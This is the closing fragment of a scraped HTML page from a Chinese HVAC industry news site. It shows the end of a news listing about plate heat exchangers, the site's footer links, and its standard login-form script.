href="http://www.chinahvacr.com/jszxnews/show.php?itemid=10689">板式换热器的产品的...</a></b></li> <li class="column_sfzm_zuixinlist_abstract">0531-86205518  张经理 产品概述:   板式换热器由高效传热波纹板片及框架组成。板片由螺栓夹紧在固定压紧板及活动压紧板之间,在</li> <li class="column_sfzm_zuixinlist_time">发稿时间:2014-08-19 18:30</li> </ul> </div> </div> </div> </div> <!--------内容结束----------> <div class="clear"></div> </div> <!--------page开始----------><!--------bottom开始----------> <!--------page开始----------><!--------bottom开始----------> <!-- -----<div id="bottom_yqlj"> <ul> <li class="bottom_yqlj_ima"></li> <li class="bottom_yqlj_link"><a href="http://www.hvacrhr.com/" target="_blank">中国空调制冷人才网</a></li> <li class="bottom_yqlj_link"><a href="http://www.dyrbw.com" target="_blank">地源热泵网</a></li> <li class="bottom_yqlj_link"><a href="http://www.netsun.cn" target="_blank">瑞利网轩</a></li> <li class="bottom_yqlj_link"><a href="http://www.hnregal.com" target="_blank">长沙绿色建筑</a></li> <li class="bottom_yqlj_link"><a href="http://www.hvacr.cn/" target="_blank">空调制冷大市场</a></li> <li class="bottom_yqlj_link"><a href="http://www.cnhvacr.com/" target="_blank">中国暖通制冷网</a></li> <li class="bottom_yqlj_link"><a href="http://zl.co188.com/" target="_blank">制冷</a></li> <li class="bottom_yqlj_link"><a href="http://nt.zhulong.com/" target="_blank">筑龙暖通网</a></li> <li class="bottom_yqlj_link"><a href="http://www.ehvacr.com/" target="_blank">暖通空调在线</a></li> <li class="bottom_yqlj_link"><a href="http://www.hvacr.hc360.com/" target="_blank">慧聪暖通制冷网</a></li> <li class="bottom_yqlj_link"><a href="http://www.chinagb.net/" target="_blank">能源世界</a></li> <li class="bottom_yqlj_link"><a href="http://www.jx188.com/" target="_blank">中国空调设备网</a></li> <li class="bottom_yqlj_link"><a href="http://building.chinaeser.cn" target="_blank">筑博汇</a></li> <li class="bottom_yqlj_link"><a href="http://www.chinabee.org/" target="_blank">建筑热能通风空调</a></li> <li class="bottom_yqlj_link"><a href="http://www.raccexpo.com" target="_blank">RACC 2022</a></li> </ul> </div> ----- --> <div id="bottom_lxwm"> <ul> <li class="bottom_lxwm_logo"></li> <li class="bottom_lxwm_link"> <div class="bottom_lxwm_link_wz"><a href="http://www.chinahvacr.com/about/about_us.html">关于我们</a></div> <div class="bottom_lxwm_link_wz"><a href="http://www.chinahvacr.com/about/contact_us.html">联系我们</a></div> <div class="bottom_lxwm_link_wz"><a href="http://www.chinahvacr.com/about/tips.html">用户须知</a></div> <div class="bottom_lxwm_link_wz"><a href="http://www.chinahvacr.com/about/member_service.html">会员服务</a></div> <div class="bottom_lxwm_link_wz"><a target="_blank" href="http://hr.chinahvacr.com/">招聘信息</a></div> <div class="bottom_lxwm_link_wz"><a href="http://www.chinahvacr.com/exhibit">展会信息</a></div> <div class="bottom_lxwm_link_wz"><a href="http://www.chinahvacr.com/about/addprice.html">广告服务</a></div> <div class="bottom_lxwm_link_wz"><a href="http://www.chinahvacr.com/about/link.html">友情链接</a></div> <div class="bottom_lxwm_link_wz"><a href="http://www.chinahvacr.com/about/map.html">网站地图</a></div> </li> <li class="bottom_lxwm_logo2"> <div style="float:left;width:300px;height:50px;margin:30px 0 0 12px;"><a href="http://www.chinahvacr.com/hyzxnews/show.php?itemid=3127716"><img src="http://www.chinahvacr.com/skin/default/style/images/2015xmtj.jpg" width="300" height="50px" /></a></div> <!-- ------- <div class="bottom_lxwm_logo3"><a href="#"><img src="http://www.chinahvacr.com/skin/default/style/images/bottom_02.gif" width="140" height="50" /></a></div> <div class="bottom_lxwm_logo3"><a href="#"><img src="http://www.chinahvacr.com/skin/default/style/images/bottom_01.gif" width="140" height="50" /></a></div>-------- --> </li> <li class="bottom_lxwm_other">Copyright ◎ 1998-2022 www.chinahvacr.com all rights reserved<a href="http://beian.miit.gov.cn" target="_blank" style="color:#fff">湘ICP备12007860号-6</a><span><script src="http://s45.cnzz.com/stat.php?id=341779&web_id=341779&show=pic" language="JavaScript" charset="gb2312"></script></span></li> </ul> </div> <!--------bottom结束----------> <!--------page结束----------> <script type="text/javascript"> var destoon_userid = 0; var destoon_username = ''; var destoon_message = 0; var destoon_chat = 0; var destoon_cart = substr_count(get_cookie('cart'), ','); var destoon_member = ''; var oauth_site = ''; var oauth_user = ''; destoon_member += (oauth_user && oauth_site) ? '<img src="http://www.chinahvacr.com/api/oauth/'+oauth_site+'/ico.png" align="absmiddle"/> 欢迎,<strong>'+oauth_user+'</strong> | <a href="http://www.chinahvacr.com/api/oauth/'+oauth_site+'/index.php?time=1732384166" style="color:#FFF;line-height:50px;">绑定帐号</a> | <a href="javascript:" onclick="oauth_logout();" style="color:#FFF;line-height:50px;">注销登录</a>' : "<form method='post' id='myform' action='http://www.chinahvacr.com/member/login.php' onsubmit='return Dcheck();'><div class='menu'><ul><li class='products'><a href='http://www.chinahvacr.com/member/login.php'>登录</a><ul><li class='login_input_title'>邮箱/用户名/手机可直接登录 </li><li class='login_input_text'><input name='username' id='username' type='text' class='login_input' value='' placeholder='请输入用户名' /></li><li class='login_input_text'><input name='password' id='password' type='password' class='login_input' value=''/></li><li class='login_text2'><input name='' type='checkbox' value='' />&nbsp;记住密码</li><li class='login_text3'><a href='http://www.chinahvacr.com/member/retrieve.php'>忘记密码?</a></li><li class='login_text3'>其他登录:<a href='http://www.chinahvacr.com/api/oauth/qq/connect.php' title='QQ登录'><img src='http://www.chinahvacr.com/api/oauth/qq/ico.png' alt='QQ登录' style=''></a></li><li class='login_input_text'><input type='submit' name='submit' class='login_btn' value='登录'/></li></ul></li><li class='regsiter'><a href='http://www.chinahvacr.com/member/register.php'>注册</a></li><!-- <li class='web_link'><a href='#'>中国节能减排网</a></li>--> </ul></div></form>"; $('#header').html(destoon_member); $('#destoon_city').html('全国'); $('#destoon_cart').html(destoon_cart ? '<strong>'+destoon_cart+'</strong>' : 0); $('#back2top').click(function() { $("html, body").animate({scrollTop:0}, 200); }); </script> </body> </html>

Pages: 1 2 3 4 5 6 7 8 9 10